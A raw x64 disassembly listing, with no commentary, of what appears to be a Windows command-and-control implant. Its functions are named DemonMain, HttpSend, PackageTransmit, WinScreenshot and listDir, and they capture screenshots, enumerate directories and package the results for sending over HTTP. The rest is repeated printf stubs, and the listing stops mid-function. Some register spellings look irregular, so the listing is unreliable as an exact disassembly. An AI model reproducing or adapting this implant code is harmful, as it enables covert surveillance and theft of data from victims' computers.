140022133mov rsi, r8
140022136xor r8l, r8l
140022139push rbx
14002213amov rbx, r9
14002213dsub rsp, 72
140022141mov [rsp+32], rcx
140022146lea rcx, [rsp+32]
14002214bmov [rsp+40], edx
14002214flea rdx, [rsp+48]
140022154mov [rsp+44], eax
140022158mov [rsp+48], r8
14002215dmov [rsp+56], r8
140022162call HttpSend
140022167test eax, eax
140022169je 0x140022189
14002216btest rsi, rsi
14002216eje 0x140022178
140022170mov rax, [rsp+48]
140022175mov [rsi], rax
140022178
140022178loc_140022178:
140022178test rbx, rbx
14002217bje 0x140022184
14002217dmov eax, [rsp+56]
140022181mov [rbx], rax
140022184
140022184loc_140022184:
140022184mov eax, 1
140022189
140022189loc_140022189:
140022189add rsp, 72
14002218dpop rbx
14002218epop rsi
14002218fret
140022130

140022190
140022190VehDebugger:
140022190push rsi
140022191xor eax, eax
140022193mov rsi, rcx
140022196lea rdx, [rip+45779]
14002219dpush rbx
14002219emov r8l, 35
1400221a4sub rsp, 56
1400221a8mov [rsp+44], eax
1400221acmov rax, [rcx]
1400221aflea rcx, [rip+37018]
1400221b6mov r9l, [rax]
1400221b9call printf
1400221bemov rcx, [rip+11643]
1400221c5mov rax, [rsi+8]
1400221c9lea rdx, [rsp+44]
1400221cemov [rax+248], rcx
1400221d5call GetRequestIDForCallingObjectFile
1400221datest eax, eax
1400221dcje 0x1400221ee
1400221demov edx, [rsp+44]
1400221e2mov ecx, 20
1400221e7call PackageCreateWithRequestID
1400221ecjmp 0x1400221f8
1400221ee
1400221eeloc_1400221ee:
1400221eemov ecx, 20
1400221f3call PackageCreate
1400221f8
1400221f8loc_1400221f8:
1400221f8mov rcx, rax
1400221fbmov edx, 1
140022200mov rbx, rax
140022203call PackageAddInt32
140022208mov rax, [rsi]
14002220bmov rcx, rbx
14002220emov edx, [rax]
140022210call PackageAddInt32
140022215mov rax, [rsi]
140022218mov rcx, rbx
14002221bmov rdx, [rax+16]
14002221fcall PackageAddInt64
140022224mov rcx, rbx
140022227call PackageTransmit
14002222cadd rsp, 56
140022230or eax, -1
140022233pop rbx
140022234pop rsi
140022235ret
140022190

140022236
140022236 // align 0x10

140022240
140022240WCharStringToCharString:
140022240mov eax, r8l
140022243
140022243loc_140022243:
140022243dec eax
140022245js 0x140022265
140022247mov r9w, [rdx]
14002224badd rdx, 2
14002224finc rcx
140022252mov [rcx-1], r9b
140022256test r9b, r9b
140022259jne 0x140022243
14002225bcdqe
14002225dsub r8, rax
140022260lea rax, [r8-1]
140022264ret
140022265
140022265loc_140022265:
140022265movsxd rdx, eax
140022268mov rax, r8
14002226bsub rax, rdx
14002226eret
140022240

14002226f
14002226f // align 0x10

140022270
140022270WcsStr:
140022270sub rsp, 40
140022274mov r9, rcx
140022277xor r10l, r10l
14002227acall StringLengthW
14002227fmov rcx, rdx
140022282mov r8, rax
140022285call StringLengthW
14002228acmp r8l, eax
14002228djb 0x1400222b6
14002228fmov r8l, r8l
140022292mov rcx, r9
140022295add r8, r8
140022298lea r9, [r9+r8]
14002229c
14002229cloc_14002229c:
14002229ccmp rcx, r9
14002229fje 0x1400222b3
1400222a1call StringCompareW
1400222a6mov r10, rcx
1400222a9add rcx, 2
1400222adtest eax, eax
1400222afjne 0x14002229c
1400222b1jmp 0x1400222b6
1400222b3
1400222b3loc_1400222b3:
1400222b3xor r10l, r10l
1400222b6
1400222b6loc_1400222b6:
1400222b6mov rax, r10
1400222b9add rsp, 40
1400222bdret
140022270

1400222be
1400222be // align 0x10

1400222c0
1400222c0WinMain:
1400222c0sub rsp, 72
1400222c4mov [rsp+48], r9l
1400222c9mov r9, rcx
1400222cclea rcx, [rip+39245]
1400222d3mov [rsp+40], r8
1400222d8mov r8l, 27
1400222demov [rsp+32], rdx
1400222e3lea rdx, [rip+42166]
1400222eacall printf.constprop.0
1400222efxor edx, edx
1400222f1xor ecx, ecx
1400222f3call DemonMain
1400222f8xor eax, eax
1400222faadd rsp, 72
1400222feret
1400222c0

1400222ff
1400222ff // align 0x10

140022300
140022300WinScreenshot:
140022300push r15
140022302xor eax, eax
140022304mov r15, rdx
140022307xor edx, edx
140022309push r14
14002230bpush r13
14002230dpush r12
14002230fpush rbp
140022310push rdi
140022311push rsi
140022312push rbx
140022313sub rsp, 280
14002231amov rbp, [rip+41039]
140022321mov [rsp+138], rax
140022329lea rdi, [rsp+188]
140022331mov [rsp+352], rcx
140022339mov ecx, 10
14002233emov [rsp+144], rax
140022346xor eax, eax
140022348rep stosd [rdi], eax
14002234alea rdi, [rsp+228]
140022352mov ecx, 11
140022357mov [rsp+128], rdx
14002235frep stosd [rdi], eax
140022361lea rdi, [rsp+152]
140022369mov ecx, 8
14002236erep stosd [rdi], eax
140022370mov ecx, 76
140022375lea rdi, [rsp+138]
14002237dcall [rbp+1700]
140022383mov ecx, 77
140022388mov [rsp+120], eax
14002238ccall [rbp+1700]
140022392mov ecx, 14
140022397mov [rsp+124], eax
14002239bxor eax, eax
14002239drep stosb [rdi], al
14002239flea rbx, [rsp+188]
1400223a7mov ecx, 40
1400223acmov [rsp+104], rbx
1400223b1mov rdi, rbx
1400223b4rep stosb [rdi], al
1400223b6lea r14, [rsp+228]
1400223bemov ecx, 44
1400223c3mov rdi, r14
1400223c6rep stosb [rdi], al
1400223c8lea r8, [rsp+152]
1400223d0mov ecx, 32
1400223d5mov [rsp+88], r8
1400223damov rdi, r8
1400223ddrep stosb [rdi], al
1400223dfxor ecx, ecx
1400223e1mov rdi, r14
1400223e4call [rbp+1708]
1400223eamov edx, 7
1400223efmov r12, rax
1400223f2mov rcx, rax
1400223f5call [rbp+1716]
1400223fbmov r8, [rsp+88]
140022400mov edx, 32
140022405mov rcx, rax
140022408mov [rsp+96], rax
14002240dcall [rbp+1724]
140022413mov rsi, [rsp+104]
140022418mov ecx, 10
14002241dmov eax, [rsp+156]
140022424mov r8l, [rsp+160]
14002242cmov [rsp+188], 40
140022437mov [rsp+192], eax
14002243eimul eax, eax, 24
140022441mov [rsp+196], r8l
140022449mov [rsp+200], 0x180001
140022455rep movsd [rdi], [rsi]
140022457add eax, 31
14002245amov ecx, 8
14002245fmov [rsp+138], 19778
140022469mov [rsp+148], 54
140022474and eax, -32
140022477cdq
140022478idiv ecx
14002247amov ecx, 64
14002247fimul eax, r8l
140022483mov ebx, eax
140022485add eax, 54
140022488mov rdx, rax
14002248bmov [rsp+112], rax
140022490call [rbp+932]
140022496mov rcx, r12
140022499mov r13, rax
14002249ccall [rbp+1732]
1400224a2xor ecx, ecx
1400224a4xor r8l, r8l
1400224a7mov rdx, r14
1400224aalea r9, [rsp+128]
1400224b2mov [rsp+40], ecx
1400224b6mov rcx, r12
1400224b9mov [rsp+32], r8
1400224bexor r8l, r8l
1400224c1mov [rsp+88], rax
1400224c6call [rbp+1740]
1400224ccmov rcx, [rsp+88]
1400224d1mov rdx, rax
1400224d4mov r14, rax
1400224d7call [rbp+1748]
1400224ddmov eax, [rsp+120]
1400224e1xor r8l, r8l
1400224e4xor edx, edx
1400224e6mov r11l, [rsp+124]
1400224ebmov rcx, [rsp+88]
1400224f0mov [rsp+64], 0xcc0020
1400224f8mov [rsp+48], eax
1400224fcmov eax, [rsp+160]
140022503mov [rsp+56], r11l
140022508mov r9l, [rsp+156]
140022510mov [rsp+40], r12
140022515mov [rsp+32], eax
140022519call [rbp+1756]
14002251fmov rsi, [rsp+104]
140022524mov rax, [rsp+138]
14002252cmov ecx, 10
140022531mov r10, [rsp+352]
140022539mov [r13], rax
14002253dmov rax, [rsp+144]
140022545mov [r13+6], rax
140022549lea rax, [r13+14]
14002254dmov rdi, rax
140022550lea rax, [r13+54]
140022554rep movsd [rdi], [rsi]
140022556mov rsi, [rsp+128]
14002255emov ecx, ebx
140022560mov rdi, rax
140022563rep movsb [rdi], [rsi]
140022565test r10, r10
140022568je 0x14002256d
14002256amov [r10], r13
14002256d
14002256dloc_14002256d:
14002256dtest r15, r15
140022570je 0x14002257a
140022572mov rax, [rsp+112]
140022577mov [r15], rax
14002257a
14002257aloc_14002257a:
14002257acmp [rsp+96], 0
140022580je 0x14002258d
140022582mov rcx, [rsp+96]
140022587call [rbp+1764]
14002258d
14002258dloc_14002258d:
14002258dcmp [rsp+88], 0
140022593je 0x1400225a0
140022595mov rcx, [rsp+88]
14002259acall [rbp+1772]
1400225a0
1400225a0loc_1400225a0:
1400225a0test r12, r12
1400225a3je 0x1400225b0
1400225a5mov rdx, r12
1400225a8xor ecx, ecx
1400225aacall [rbp+1780]
1400225b0
1400225b0loc_1400225b0:
1400225b0test r14, r14
1400225b3je 0x1400225be
1400225b5mov rcx, r14
1400225b8call [rbp+1764]
1400225be
1400225beloc_1400225be:
1400225beadd rsp, 280
1400225c5mov eax, 1
1400225capop rbx
1400225cbpop rsi
1400225ccpop rdi
1400225cdpop rbp
1400225cepop r12
1400225d0pop r13
1400225d2pop r14
1400225d4pop r15
1400225d6ret
140022300

1400225d7
1400225d7 // align 0x10

1400225e0
1400225e0___chkstk_ms:
1400225e0nop
1400225e1ret
1400225e0

1400225e2
1400225e2 // align 0x10

1400225f0
1400225f0listDir:
1400225f0push r15
1400225f2xor eax, eax
1400225f4push r14
1400225f6push r13
1400225f8push r12
1400225fapush rbp
1400225fbpush rdi
1400225fcpush rsi
1400225fdmov rsi, rcx
140022600mov ecx, 148
140022605push rbx
140022606sub rsp, 712
14002260dlea rdi, [rsp+112]
140022612mov [rsp+792], edx
140022619rep stosd [rdi], eax
14002261bmov [rsp+800], r8l
140022623mov [rsp+808], r9l
14002262btest rsi, rsi
14002262eje 0x14002264e
140022630test r8l, r8l
140022633setne [rsp+102]
140022638test r9l, r9l
14002263bsetne [rsp+103]
140022640cmp [rsp+102], 0
140022645je 0x140022675
140022647cmp [rsp+103], 0
14002264cje 0x140022675
14002264e
14002264eloc_14002264e:
14002264elea r9, [rip+33582]
140022655mov r8l, 1467
14002265blea rdx, [rip+41150]
140022662xor ebp, ebp
140022664lea rcx, [rip+32002]
14002266bcall printf
140022670jmp 0x140022bcd
140022675
140022675loc_140022675:
140022675mov edx, 526
14002267amov r12, [rip+40175]
140022681mov ecx, 64
140022686mov r13l, 260
14002268ccall [r12+932]
140022694mov rcx, rsi
140022697mov [rsp+64], rax
14002269ccall StringLengthW
1400226a1cmp rax, 260
1400226a7ja 0x1400226b4
1400226a9mov rcx, rsi
1400226accall StringLengthW
1400226b1mov r13l, eax
1400226b4
1400226b4loc_1400226b4:
1400226b4mov ebp, r13l
1400226b7mov rdi, [rsp+64]
1400226bclea rdx, [rsp+112]
1400226c1add rbp, rbp
1400226c4mov rcx, rbp
1400226c7rep movsb [rdi], [rsi]
1400226c9mov rcx, [rsp+64]
1400226cecall [r12+1004]
1400226d6mov [rsp+72], rax
1400226dbinc rax
1400226dejne 0x1400226f0
1400226e0mov r9, [rsp+64]
1400226e5mov r8l, 1482
1400226ebjmp 0x140022775
1400226f0
1400226f0loc_1400226f0:
1400226f0test [rsp+112], 16
1400226f5je 0x14002279b
1400226fbmov rbx, [rsp+64]
140022700lea eax, [r13-1]
140022704mov ax, [rbx+2*rax]
140022708cmp ax, 42
14002270cje 0x14002279b
140022712cmp ax, 92
140022716je 0x140022721
140022718mov [rbx+rbp], 92
14002271einc r13l
140022721
140022721loc_140022721:
140022721mov rax, [rsp+64]
140022726mov rbx, [rsp+64]
14002272blea esi, [r13+1]
14002272fmov rcx, [rsp+72]
140022734mov [rax+2*r13], 42
14002273bmov eax, esi
14002273dmov r13l, esi
140022740mov [rbx+2*rax], 0
140022746call [r12+1068]
14002274emov rcx, [rsp+64]
140022753lea rdx, [rsp+112]
140022758call [r12+1004]
140022760mov [rsp+72], rax
140022765inc rax
140022768jne 0x14002279b
14002276amov r9, [rsp+64]
14002276fmov r8l, 1501
140022775
140022775loc_140022775:
140022775lea rdx, [rip+40868]
14002277clea rcx, [rip+33298]
140022783xor r13l, r13l
140022786xor ebp, ebp
140022788call printf
14002278dmov [rsp+72], -1
140022796jmp 0x140022b6f
14002279b
14002279bloc_14002279b:
14002279bmov rax, [rip+39886]
1400227a2mov edx, 560
1400227a7mov ecx, 64
1400227accall [rax+932]
1400227b2mov rcx, [rsp+64]
1400227b7mov rbp, rax
1400227bacall StringLengthW
1400227bfmov ecx, 520
1400227c4cmp rax, 260
1400227caja 0x1400227da
1400227ccmov rcx, [rsp+64]
1400227d1call StringLengthW
1400227d6lea rcx, [rax+rax]
1400227da
1400227daloc_1400227da:
1400227dalea eax, [r13-1]
1400227demov rsi, [rsp+64]
1400227e3mov rdi, rbp
1400227e6xor r14l, r14l
1400227e9rep movsb [rdi], [rsi]
1400227ebadd rax, rax
1400227eexor r13l, r13l
1400227f1mov [rsp+104], rax
1400227f6xor eax, eax
1400227f8mov [rsp+88], rax
1400227fdlea rax, [rsp+156]
140022805mov [rsp+80], rax
14002280a
14002280aloc_14002280a:
14002280amov eax, [rsp+112]
14002280eand eax, 16
140022811setne r15b
140022815cmp [rsp+792], 0
14002281dmov [rsp+96], eax
140022821jne 0x140022837
140022823test r15b, r15b
140022826je 0x140022837
140022828cmp [rsp+800], 0
140022830je 0x140022857
140022832jmp 0x140022ad3
140022837
140022837loc_140022837:
140022837cmp [rsp+96], 0
14002283cjne 0x140022849
14002283ecmp [rsp+103], 0
140022843jne 0x140022ad3
140022849
140022849loc_140022849:
140022849cmp [rsp+96], 0
14002284emov r12, r14
140022851je 0x140022901
140022857
140022857loc_140022857:
140022857mov rcx, [rsp+80]
14002285ccall StringLengthW
140022861dec rax
140022864jne 0x140022875
140022866cmp [rsp+156], 46
14002286fje 0x140022ad3
140022875
140022875loc_140022875:
140022875mov rcx, [rsp+80]
14002287acall StringLengthW
14002287fcmp rax, 2
140022883jne 0x140022896
140022885cmp [rsp+156], 0x2e002e
140022890je 0x140022ad3
140022896
140022896loc_140022896:
140022896cmp [rsp+792], 0
14002289eje 0x1400228e9
1400228a0test r15b, r15b
1400228a3je 0x1400228e9
1400228a5mov rax, [rip+39620]
1400228acmov edx, 536
1400228b1mov ecx, 64
1400228b6call [rax+932]
1400228bcmov rsi, [rsp+64]
1400228c1mov rcx, [rsp+104]
1400228c6mov rdi, rax
1400228c9mov rdx, [rsp+80]
1400228cemov r12, rax
1400228d1rep movsb [rdi], [rsi]
1400228d3mov rcx, rax
1400228d6call StringConcatW
1400228dbtest r14, r14
1400228deje 0x1400228ee
1400228e0mov [r14+528], r12
1400228e7jmp 0x1400228f1
1400228e9
1400228e9loc_1400228e9:
1400228e9mov r12, r14
1400228ecjmp 0x1400228f1
1400228ee
1400228eeloc_1400228ee:
1400228eemov r13, r12
1400228f1
1400228f1loc_1400228f1:
1400228f1cmp [rsp+102], 0
1400228f6je 0x140022901
1400228f8test r15b, r15b
1400228fbjne 0x140022ad0
140022901
140022901loc_140022901:
140022901cmp [rsp+816], 0
14002290ajne 0x140022919
14002290c
14002290cloc_14002290c:
14002290ccmp [rsp+824], 0
140022915jne 0x140022957
140022917jmp 0x140022995
140022919
140022919loc_140022919:
140022919mov rcx, [rsp+80]
14002291ecall StringLengthW
140022923mov rcx, [rsp+816]
14002292bmov rsi, rax
14002292ecall StringLengthW
140022933cmp rsi, rax
140022936jb 0x140022ad0
14002293cmov rdx, [rsp+80]
140022941mov rcx, [rsp+816]
140022949call StringCompareIW
14002294etest eax, eax
140022950je 0x14002290c
140022952jmp 0x140022ad0
140022957
140022957loc_140022957:
140022957mov rcx, [rsp+80]
14002295ccall StringLengthW
140022961mov rcx, [rsp+824]
140022969mov rsi, rax
14002296ccall StringLengthW
140022971cmp rsi, rax
140022974jb 0x140022ad0
14002297amov rdx, [rsp+824]
140022982mov rcx, [rsp+80]
140022987call WcsStr
14002298ctest rax, rax
14002298fje 0x140022ad0
140022995
140022995loc_140022995:
140022995cmp [rsp+832], 0
14002299eje 0x140022a0c
1400229a0lea rdi, [rsp+156]
1400229a8lea r14, [rsp+112]
1400229admov rcx, rdi
1400229b0call StringLengthW
1400229b5mov rcx, [rsp+832]
1400229bdmov rsi, rax
1400229c0call StringLengthW
1400229c5cmp rsi, rax
1400229c8jb 0x140022ad0
1400229cemov rcx, rdi
1400229d1call StringLengthW
1400229d6mov rcx, [rsp+832]
1400229demov rsi, rax
1400229e1call StringLengthW
1400229e6mov rcx, [rsp+832]
1400229eemov rdx, rax
1400229f1lea rax, [rsi+22]
1400229f5sub rax, rdx
1400229f8add rax, rax
1400229fblea rdx, [r14+rax]
1400229ffcall StringCompareIW
140022a04test eax, eax
140022a06jne 0x140022ad0
140022a0c
140022a0cloc_140022a0c:
140022a0cmov rsi, [rip+39261]
140022a13mov edx, 576
140022a18mov ecx, 64
140022a1dmovzx r15l, r15b
140022a21call [rsi+932]
140022a27lea rcx, [rsp+124]
140022a2cmov rbx, rax
140022a2flea rdi, [rax+522]
140022a36mov rdx, rdi
140022a39call [rsi+1076]
140022a3fxor ecx, ecx
140022a41lea r8, [rbx+538]
140022a48mov rdx, rdi
140022a4bcall [rsi+1084]
140022a51cmp [rsp+96], 0
140022a56mov [rbx+556], r15l
140022a5dje 0x140022a67
140022a5finc [rbp+540]
140022a65jmp 0x140022a90
140022a67
140022a67loc_140022a67:
140022a67mov eax, [rsp+140]
140022a6emov edx, [rsp+144]
140022a75shl rax, 32
140022a79or rax, rdx
140022a7cmov [rbx+560], rax
140022a83inc [rbp+536]
140022a89add [rbp+544], rax
140022a90
140022a90loc_140022a90:
140022a90lea rsi, [rsp+156]
140022a98mov rdi, rbx
140022a9bmov rcx, rsi
140022a9ecall StringLengthW
140022aa3cmp [rsp+88], 0
140022aa9lea rcx, [rax+rax]
140022aadrep movsb [rdi], [rsi]
140022aafje 0x140022ac7
140022ab1mov rax, [rsp+88]
140022ab6mov [rax+568], rbx
140022abd
140022abdloc_140022abd:
140022abdmov [rsp+88], rbx
140022ac2mov r14, r12
140022ac5jmp 0x140022ad3
140022ac7
140022ac7loc_140022ac7:
140022ac7mov [rbp+528], rbx
140022acejmp 0x140022abd
140022ad0
140022ad0loc_140022ad0:
140022ad0mov r14, r12
140022ad3
140022ad3loc_140022ad3:
140022ad3mov rax, [rip+39062]
140022adamov rcx, [rsp+72]
140022adflea rdx, [rsp+112]
140022ae4call [rax+1012]
140022aeatest eax, eax
140022aecjne 0x14002280a
140022af2mov rsi, r13
140022af5mov rdi, rbp
140022af8
140022af8loc_140022af8:
140022af8test rsi, rsi
140022afbje 0x140022b67
140022afdmov rax, [rsp+832]
140022b05mov r9l, [rsp+808]
140022b0dmov rcx, rsi
140022b10mov r8l, [rsp+800]
140022b18mov edx, [rsp+792]
140022b1fmov [rsp+48], rax
140022b24mov rax, [rsp+824]
140022b2cmov [rsp+40], rax
140022b31mov rax, [rsp+816]
140022b39mov [rsp+32], rax
140022b3ecall listDir
140022b43test rax, rax
140022b46je 0x140022b5e
140022b48mov [rdi+552], rax
140022b4f
140022b4floc_140022b4f:
140022b4fmov rdi, rax
140022b52mov rax, [rax+552]
140022b59test rax, rax
140022b5cjne 0x140022b4f
140022b5e
140022b5eloc_140022b5e:
140022b5emov rsi, [rsi+528]
140022b65jmp 0x140022af8
140022b67
140022b67loc_140022b67:
140022b67cmp [rsp+72], 0
140022b6dje 0x140022b81
140022b6f
140022b6floc_140022b6f:
140022b6fmov rax, [rip+38906]
140022b76mov rcx, [rsp+72]
140022b7bcall [rax+1068]
140022b81
140022b81loc_140022b81:
140022b81mov rdi, [rsp+64]
140022b86mov ecx, 526
140022b8bxor eax, eax
140022b8drep stosb [rdi], al
140022b8fmov rsi, [rip+38874]
140022b96mov rcx, [rsp+64]
140022b9bxor ebx, ebx
140022b9dmov r12l, 536
140022ba3call [rsi+940]
140022ba9
140022ba9loc_140022ba9:
140022ba9test r13, r13
140022bacje 0x140022bcd
140022baemov r14, [r13+528]
140022bb5mov rdi, r13
140022bb8mov rcx, r12
140022bbbmov eax, ebx
140022bbdrep stosb [rdi], al
140022bbfmov rcx, r13
140022bc2mov r13, r14
140022bc5call [rsi+940]
140022bcbjmp 0x140022ba9
140022bcd
140022bcdloc_140022bcd:
140022bcdadd rsp, 712
140022bd4mov rax, rbp
140022bd7pop rbx
140022bd8pop rsi
140022bd9pop rdi
140022bdapop rbp
140022bdbpop r12
140022bddpop r13
140022bdfpop r14
140022be1pop r15
140022be3ret
1400225f0

140022be4
140022be4 // align 0x10

140022bf0
140022bf0printf:
140022bf0push rbx
140022bf1mov rbx, rcx
140022bf4mov ecx, 1
140022bf9sub rsp, 64
140022bfdmov [rsp+96], r8
140022c02lea r8, [rsp+88]
140022c07mov [rsp+88], rdx
140022c0cmov [rsp+104], r9
140022c11mov [rsp+56], r8
140022c16mov [rsp+40], r8
140022c1bcall [rip+8575]
140022c21mov r8, [rsp+40]
140022c26mov rdx, rbx
140022c29mov rcx, rax
140022c2ccall __mingw_vfprintf
140022c31add rsp, 64
140022c35pop rbx
140022c36ret
140022bf0

140022c37
140022c37 // align 0x10

140022c40
140022c40printf:
140022c40push rbx
140022c41mov rbx, rcx
140022c44mov ecx, 1
140022c49sub rsp, 64
140022c4dmov [rsp+96], r8
140022c52lea r8, [rsp+88]
140022c57mov [rsp+88], rdx
140022c5cmov [rsp+104], r9
140022c61mov [rsp+56], r8
140022c66mov [rsp+40], r8
140022c6bcall [rip+8495]
140022c71mov r8, [rsp+40]
140022c76mov rdx, rbx
140022c79mov rcx, rax
140022c7ccall __mingw_vfprintf
140022c81add rsp, 64
140022c85pop rbx
140022c86ret
140022c40

140022c87
140022c87 // align 0x10

140022c90
140022c90printf:
140022c90push rbx
140022c91mov rbx, rcx
140022c94mov ecx, 1
140022c99sub rsp, 64
140022c9dmov [rsp+96], r8
140022ca2lea r8, [rsp+88]
140022ca7mov [rsp+88], rdx
140022cacmov [rsp+104], r9
140022cb1mov [rsp+56], r8
140022cb6mov [rsp+40], r8
140022cbbcall [rip+8415]
140022cc1mov r8, [rsp+40]
140022cc6mov rdx, rbx
140022cc9mov rcx, rax
140022ccccall __mingw_vfprintf
140022cd1add rsp, 64
140022cd5pop rbx
140022cd6ret
140022c90

140022cd7
140022cd7 // align 0x10

140022ce0
140022ce0printf:
140022ce0push rbx
140022ce1mov rbx, rcx
140022ce4mov ecx, 1
140022ce9sub rsp, 64
140022cedmov [rsp+96], r8
140022cf2lea r8, [rsp+88]
140022cf7mov [rsp+88], rdx
140022cfcmov [rsp+104], r9
140022d01mov [rsp+56], r8
140022d06mov [rsp+40], r8
140022d0bcall [rip+8335]
140022d11mov r8, [rsp+40]
140022d16mov rdx, rbx
140022d19mov rcx, rax
140022d1ccall __mingw_vfprintf
140022d21add rsp, 64
140022d25pop rbx
140022d26ret
140022ce0

140022d27
140022d27 // align 0x10

140022d30
140022d30printf:
140022d30push rbx
140022d31mov rbx, rcx
140022d34mov ecx, 1
140022d39sub rsp, 64
140022d3dmov [rsp+96], r8
140022d42lea r8, [rsp+88]
140022d47mov [rsp+88], rdx
140022d4cmov [rsp+104], r9
140022d51mov [rsp+56], r8
140022d56mov [rsp+40], r8
140022d5bcall [rip+8255]
140022d61mov r8, [rsp+40]
140022d66mov rdx, rbx
140022d69mov rcx, rax
140022d6ccall __mingw_vfprintf
140022d71add rsp, 64
140022d75pop rbx
140022d76ret
140022d30

140022d77
140022d77 // align 0x10

140022d80
140022d80printf:
140022d80push rbx
140022d81mov rbx, rcx
140022d84mov ecx, 1
140022d89sub rsp, 64
140022d8dmov [rsp+96], r8
140022d92lea r8, [rsp+88]
140022d97mov [rsp+88], rdx
140022d9cmov [rsp+104], r9
140022da1mov [rsp+56], r8
140022da6mov [rsp+40], r8
140022dabcall [rip+8175]
140022db1mov r8, [rsp+40]
140022db6mov rdx, rbx
140022db9mov rcx, rax
140022dbccall __mingw_vfprintf
140022dc1add rsp, 64
140022dc5pop rbx
140022dc6ret
140022d80

140022dc7
140022dc7 // align 0x10

140022dd0
140022dd0printf:
140022dd0push rbx
140022dd1mov rbx, rcx
140022dd4mov ecx, 1
140022dd9sub rsp, 64
140022dddmov [rsp+96], r8
140022de2lea r8, [rsp+88]
140022de7mov [rsp+88], rdx
140022decmov [rsp+104], r9
140022df1mov [rsp+56], r8
140022df6mov [rsp+40], r8
140022dfbcall [rip+8095]
140022e01mov r8, [rsp+40]
140022e06mov rdx, rbx
140022e09mov rcx, rax
140022e0ccall __mingw_vfprintf
140022e11add rsp, 64
140022e15pop rbx
140022e16ret
140022dd0

140022e17
140022e17 // align 0x10

140022e20
140022e20printf:
140022e20push rbx
140022e21mov rbx, rcx
140022e24mov ecx, 1
140022e29sub rsp, 64
140022e2dmov [rsp+96], r8
140022e32lea r8, [rsp+88]
140022e37mov [rsp+88], rdx
140022e3cmov [rsp+104], r9
140022e41mov [rsp+56], r8
140022e46mov [rsp+40], r8
140022e4bcall [rip+8015]
140022e51mov r8, [rsp+40]
140022e56mov rdx, rbx
140022e59mov rcx, rax
140022e5ccall __mingw_vfprintf
140022e61add rsp, 64
140022e65pop rbx
140022e66ret
140022e20

140022e67
140022e67 // align 0x10

140022e70
140022e70printf:
140022e70push rbx
140022e71mov rbx, rcx
140022e74mov ecx, 1
140022e79sub rsp, 64
140022e7dmov [rsp+96], r8
140022e82lea r8, [rsp+88]
140022e87mov [rsp+88], rdx
140022e8cmov [rsp+104], r9
140022e91mov [rsp+56], r8
140022e96mov [rsp+40], r8
140022e9bcall [rip+7935]
140022ea1mov r8, [rsp+40]
140022ea6mov rdx, rbx
140022ea9mov rcx, rax
140022eaccall __mingw_vfprintf
140022eb1add rsp, 64
140022eb5pop rbx
140022eb6ret
140022e70

140022eb7
140022eb7 // align 0x10

140022ec0
140022ec0printf:
140022ec0push rbx
140022ec1mov rbx, rcx
140022ec4mov ecx, 1
140022ec9sub rsp, 64
140022ecdmov [rsp+96], r8
140022ed2lea r8, [rsp+88]
140022ed7mov [rsp+88], rdx
140022edcmov [rsp+104], r9
140022ee1mov [rsp+56], r8
140022ee6mov [rsp+40], r8
140022eebcall [rip+7855]
140022ef1mov r8, [rsp+40]
140022ef6mov rdx, rbx
140022ef9mov rcx, rax
140022efccall __mingw_vfprintf
140022f01add rsp, 64
140022f05pop rbx
140022f06ret
140022ec0

140022f07
140022f07 // align 0x10

140022f10
140022f10printf:
140022f10push rbx
140022f11mov rbx, rcx
140022f14mov ecx, 1
140022f19sub rsp, 64
140022f1dmov [rsp+96], r8
140022f22lea r8, [rsp+88]
140022f27mov [rsp+88], rdx
140022f2cmov [rsp+104], r9
140022f31mov [rsp+56], r8
140022f36mov [rsp+40], r8
140022f3bcall [rip+7775]
140022f41mov r8, [rsp+40]
140022f46mov rdx, rbx
140022f49mov rcx, rax
140022f4ccall __mingw_vfprintf
140022f51add rsp, 64
140022f55pop rbx
140022f56ret
140022f10

140022f57
140022f57 // align 0x10

140022f60
140022f60printf:
140022f60push rbx
140022f61mov rbx, rcx
140022f64mov ecx, 1
140022f69sub rsp, 64
140022f6dmov [rsp+96], r8
140022f72lea r8, [rsp+88]
140022f77mov [rsp+88], rdx
140022f7cmov [rsp+104], r9
140022f81mov [rsp+56], r8
140022f86mov [rsp+40], r8
140022f8bcall [rip+7695]
140022f91mov r8, [rsp+40]
140022f96mov rdx, rbx
140022f99mov rcx, rax
140022f9ccall __mingw_vfprintf
140022fa1add rsp, 64
140022fa5pop rbx
140022fa6ret
140022f60

140022fa7
140022fa7 // align 0x10

140022fb0
140022fb0printf:
140022fb0push rbx
140022fb1mov rbx, rcx
140022fb4mov ecx, 1
140022fb9sub rsp, 64
140022fbdmov [rsp+96], r8
140022fc2lea r8, [rsp+88]
140022fc7mov [rsp+88], rdx
140022fccmov [rsp+104], r9
140022fd1mov [rsp+56], r8
140022fd6mov [rsp+40], r8
140022fdbcall [rip+7615]
140022fe1mov r8, [rsp+40]
140022fe6mov rdx, rbx
140022fe9mov rcx, rax
140022feccall __mingw_vfprintf
140022ff1add rsp, 64
140022ff5pop rbx
140022ff6ret
140022fb0

140022ff7
140022ff7 // align 0x10

140023000
140023000printf:
140023000push rbx
140023001mov rbx, rcx
140023004mov ecx, 1
140023009sub rsp, 64
14002300dmov [rsp+96], r8
140023012lea r8, [rsp+88]
140023017mov [rsp+88], rdx
14002301cmov [rsp+104], r9
140023021mov [rsp+56], r8
140023026mov [rsp+40], r8
14002302bcall [rip+7535]
140023031mov r8, [rsp+40]
140023036mov rdx, rbx
140023039mov rcx, rax
14002303ccall __mingw_vfprintf
140023041add rsp, 64
140023045pop rbx
140023046ret
140023000

140023047
140023047 // align 0x10

140023050
140023050printf:
140023050push rbx
140023051mov rbx, rcx
140023054mov ecx, 1
140023059sub rsp, 64
14002305dmov [rsp+96], r8
140023062lea r8, [rsp+88]
140023067mov [rsp+88], rdx
14002306cmov [rsp+104], r9
140023071mov [rsp+56], r8
140023076mov [rsp+40], r8
14002307bcall [rip+7455]
140023081mov r8, [rsp+40]
140023086mov rdx, rbx
140023089mov rcx, rax
14002308ccall __mingw_vfprintf
140023091add rsp, 64
140023095pop rbx
140023096ret
140023050

140023097
140023097 // align 0x10

1400230a0
1400230a0printf:
1400230a0push rbx
1400230a1mov rbx, rcx
1400230a4mov ecx, 1
1400230a9sub rsp, 64
1400230admov [rsp+96], r8
1400230b2lea r8, [rsp+88]
1400230b7mov [rsp+88], rdx
1400230bcmov [rsp+104], r9
1400230c1mov [rsp+56], r8
1400230c6mov [rsp+40], r8
1400230cbcall [rip+7375]
1400230d1mov r8, [rsp+40]
1400230d6mov rdx, rbx
1400230d9mov rcx, rax
1400230dccall __mingw_vfprintf
1400230e1add rsp, 64
1400230e5pop rbx
1400230e6ret
1400230a0

1400230e7
1400230e7 // align 0x10

1400230f0
1400230f0printf:
1400230f0push rbx
1400230f1mov rbx, rcx
1400230f4mov ecx, 1
1400230f9sub rsp, 64
